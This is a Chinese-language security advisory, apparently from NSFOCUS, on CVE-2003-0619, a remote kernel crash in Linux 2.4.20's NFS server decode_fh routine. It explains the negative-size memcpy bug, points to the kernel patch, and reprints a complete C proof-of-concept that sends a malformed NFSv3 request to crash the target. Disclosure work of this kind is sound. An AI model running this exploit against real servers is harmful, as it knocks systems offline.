安全研究

安全漏洞
Linux Kernel XDR远程拒绝服务攻击漏洞

发布日期:2003-07-29
更新日期:2003-08-01

受影响系统:
Linux kernel 2.4.20
不受影响系统:
Linux kernel 2.4.21
描述:
CVE(CAN) ID: CVE-2003-0619

Linux是一款开放源代码的操作系统。

Linux在处理部分恶意NFSv3类型的XDR数据时存在问题,远程攻击者可以利用这个漏洞对Linux进行拒绝服务攻击。

问题存在于fs/nfsd/nfs3xdr.c中的decode_fh函数中,代码如下:

static inline u32 *
decode_fh(u32 *p, struct svc_fh *fhp)
{
        int size;
        fh_init(fhp, NFS3_FHSIZE);
        size = ntohl(*p++);
        if (size > NFS3_FHSIZE)
                return NULL;


        memcpy(&fhp->fh_handle.fh_base, p, size);
        fhp->fh_handle.fh_size = size;
        return p + XDR_QUADLEN(size);
}

上面的p是攻击者可控制的XDR数据,如果size为负值,由于缺少正确检查,直接把恶意值传递给memcpy,可导致在拷贝的时候发生基于整数溢出性质的问题,会出现内核崩溃。

<*来源:Jared Stanbrough (jareds@pdx.edu
  
  链接:http://marc.theaimsgroup.com/?l=bugtraq&m=105950927708272&w=2
*>

测试方法:

警 告

以下程序(方法)可能带有攻击性,仅供安全研究与教学之用。使用者风险自负!

Jared Stanbrough (jareds@pdx.edu)提供了如下测试代码:

/*
  Linux 2.4.x knfsd kernel signed/unsigned decode_fh DoS
  Author: jared stanbrough <jareds@pdx.edu>
  Date: 07/19/2003
  
  Vulnerable code: (fs/nfsd/nfs3xdr.c line 52-64)

  static inline u32 *
  decode_fh(u32 *p, struct svc_fh *fhp)
  {
        int size;
        fh_init(fhp, NFS3_FHSIZE);
        size = ntohl(*p++);
        if (size > NFS3_FHSIZE)
                return NULL;  

        memcpy(&fhp->fh_handle.fh_base, p, size);
        fhp->fh_handle.fh_size = size;
        return p + XDR_QUADLEN(size);
  }

  This code is called by quite a few XDR decoding routines. The below
  POC demonstrates the vulnerability by encoding a malicious fhsize
  at the beginning of a diroparg xdr argument.

  To test this, the vulnerable host must have an accessible exported
  directory which was previously mounted by the attacker. _HOWEVER_
  it may be possible to trigger this bug by some other method.

  Fix: Simply change size to an unsigned int, or check for size < 0.
*/

#include <rpcsvc/nfs_prot.h>
#include <rpc/rpc.h>
#include <rpc/xdr.h>
#include <netinet/in.h>
#include <sys/socket.h>
#include <sys/types.h>

#define NFSPROG 100003
#define NFSVERS 3
#define NFSPROC_GETATTR 1

static struct diropargs heh;

bool_t xdr_heh(XDR *xdrs, diropargs *heh)
{
  int32_t werd = -1;
  return xdr_int32_t(xdrs, &werd);
}

int main(void)
{
  CLIENT * client;
  struct timeval tv;

  client = clnt_create("marduk", NFSPROG, NFSVERS, "udp");
  
  if(client == NULL) {
      perror("clnt_create\n");
  }

  tv.tv_sec = 3;
  tv.tv_usec = 0;
  client->cl_auth = authunix_create_default();

  clnt_call(client, NFSPROC_GETATTR, (xdrproc_t) xdr_heh, (char *)&heh,
            (xdrproc_t) xdr_void, NULL, tv);

  return 0;
}

建议:
厂商补丁:

Linux
-----
目前厂商已经在2.4.21以后的版本中修复了这个安全问题,请到厂商的主页下载:

http://www.kernel.org/

浏览次数:3094
严重程度:10(网友投票)
本安全漏洞由绿盟科技翻译整理,版权所有,未经许可,不得转载
绿盟科技给您安全的保障